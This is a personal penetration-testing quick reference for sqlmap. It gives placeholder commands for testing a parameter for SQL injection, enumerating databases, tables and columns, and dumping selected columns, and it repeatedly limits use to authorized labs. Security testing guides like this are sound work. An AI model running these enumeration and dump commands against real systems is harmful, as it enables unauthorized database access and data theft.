

SQLmap — Practical Tool Guide

From a URL or Burp request → prove SQL injection → enumerate databases → limit table/column extraction to what the lab requires.

→ Abdullah Nasser Almsan — Personal Pentest Reference

Usage note: Assumes a deliberately vulnerable, authorized lab application. Use the lowest level/risk that satisfies the test objective.

REQUEST

Capture the request

TEST

Test the parameter

ENUM

Select DB / table

LIMIT

Extract only what is needed

Contents

1. Identify the target
2. Session, cookies, and headers
3. Enumeration after proving injection
4. Level, Risk, and Technique
5. Retesting and troubleshooting
6. Burp workflow

1. Identify the target

SQLmap needs a clear request or parameter to test.

KALI TERMINAL — URL with a parameter

```
sqlmap -u "http://[TARGET]/item?id=1" --batch
```

KALI TERMINAL — Select a specific parameter

```
sqlmap -u "http://[TARGET]/item?id=1&cat=2" -p id --batch
```

KALI TERMINAL — Saved Burp request

```
sqlmap -r request.txt --batch
```

A saved raw request is usually the best choice for complex POST bodies, headers, and authenticated sessions.

2. Session, cookies, and headers

Make the SQLmap request match the request that already works in Burp.

KALI TERMINAL — Cookie

```
sqlmap -u "http://[TARGET]/item?id=1" --cookie="session=[VALUE]" --batch
```

KALI TERMINAL — Custom header

```
sqlmap -u "http://[TARGET]/item?id=1" --headers="X-Test: 1" --batch
```

KALI TERMINAL — Through Burp

```
sqlmap -u "http://[TARGET]/item?id=1" --proxy=http://127.0.0.1:8080 --batch
```

3. Enumeration after proving injection

Note: Do not jump to --dump before proving that the parameter is injectable.

KALI TERMINAL — Quick context

```
sqlmap -u "[URL_WITH_PARAM]" --current-db --current-user --hostname --batch
```

KALI TERMINAL — Databases

```
sqlmap -u "[URL_WITH_PARAM]" --dbs --batch
```

KALI TERMINAL — Tables

```
sqlmap -u "[URL_WITH_PARAM]" -D [DB] --tables --batch
```

KALI TERMINAL — Columns

```
sqlmap -u "[URL_WITH_PARAM]" -D [DB] -T [TABLE] --columns --batch
```

KALI TERMINAL — Dump selected columns

```
sqlmap -u "[URL_WITH_PARAM]" -D [DB] -T [TABLE] -C [COL1],[COL2] --dump --batch
```

Note: Keep extraction limited to what the lab objective needs. Unnecessary data collection is not part of a disciplined test.

4. Level, Risk, and Technique

These options increase coverage and the number/type of requests.

KALI TERMINAL — Raise level

```
sqlmap -u "[URL_WITH_PARAM]" --level=3 --batch
```

KALI TERMINAL — Raise risk carefully

```
sqlmap -u "[URL_WITH_PARAM]" --risk=2 --batch
```

KALI TERMINAL — Select techniques

```
sqlmap -u "[URL_WITH_PARAM]" --technique=BEUSTQ --batch
```

Note: Higher level/risk values increase testing and some checks can be more intrusive. Start with defaults.

5. Retesting and troubleshooting

SQLmap caches results in its session data.

KALI TERMINAL — Forget a previous session

```
sqlmap -u "[URL_WITH_PARAM]" --flush-session --batch
```

KALI TERMINAL — More verbose

```
sqlmap -u "[URL_WITH_PARAM]" -v 3 --batch
```

KALI TERMINAL — Advanced help

```
sqlmap -hh
```

6. Burp workflow

Step	Tool	Action
1	Burp Proxy	Capture a request that works.
2	Save request	Save it as request.txt.
3	SQLmap -r	Test the same request.
4	Confirm	Confirm the parameter and DBMS.
5	Enumerate	dbs → tables → columns.
6	Limit	Extract only what the lab requires.

Prepared as a quick-reference companion to the canonical Arabic guide. Use only in labs or systems you are explicitly authorized to test.

References:

<https://github.com/sqlmapproject/sqlmap/wiki/usage>